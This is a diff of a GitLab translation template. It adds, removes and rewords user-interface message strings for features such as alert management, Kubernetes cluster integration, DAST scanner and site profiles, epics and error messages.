msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -633,6 +645,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -755,6 +779,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -784,6 +811,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -799,6 +829,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -882,6 +915,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -915,6 +951,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -924,7 +963,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -970,6 +1024,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1204,15 +1261,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1276,7 +1324,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1294,6 +1342,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1396,6 +1447,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1507,6 +1561,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1541,12 +1598,6 @@ msgstr[3] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1661,6 +1712,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1673,6 +1727,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1685,6 +1742,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1964,6 +2024,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1979,6 +2042,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2208,6 +2274,9 @@ msgstr[3] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2238,7 +2307,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2295,9 +2364,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2310,6 +2376,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2352,16 +2421,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2391,7 +2457,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2490,6 +2556,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2637,6 +2706,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2703,6 +2775,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2775,9 +2850,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2919,13 +3003,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2952,12 +3039,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -3036,6 +3129,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3259,6 +3355,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3271,6 +3370,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3286,9 +3388,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3397,7 +3496,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3409,9 +3508,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3424,6 +3520,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3687,7 +3786,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3765,6 +3864,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3891,7 +3993,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -4005,6 +4107,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -4074,13 +4179,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4275,6 +4383,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4449,6 +4560,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4482,10 +4596,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4506,7 +4620,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4692,9 +4806,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4920,7 +5031,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5088,9 +5199,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5196,6 +5313,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5229,19 +5349,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5289,13 +5415,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5313,6 +5442,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5352,15 +5484,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5385,6 +5514,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5568,9 +5700,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5766,7 +5895,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5985,12 +6114,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6030,15 +6162,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -6063,6 +6207,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -6078,9 +6225,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6111,7 +6255,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6288,6 +6432,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6490,7 +6640,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6949,9 +7099,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7036,6 +7183,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -7048,6 +7198,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -7072,15 +7225,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7111,6 +7270,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7126,6 +7288,13 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Create"
msgstr ""
@@ -7216,6 +7385,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7252,6 +7424,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7276,6 +7451,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7447,6 +7625,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7543,6 +7724,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7709,6 +7899,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7739,25 +7932,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7766,7 +7989,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7778,6 +8010,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7787,12 +8022,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7865,7 +8157,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7943,10 +8235,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -8003,6 +8295,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
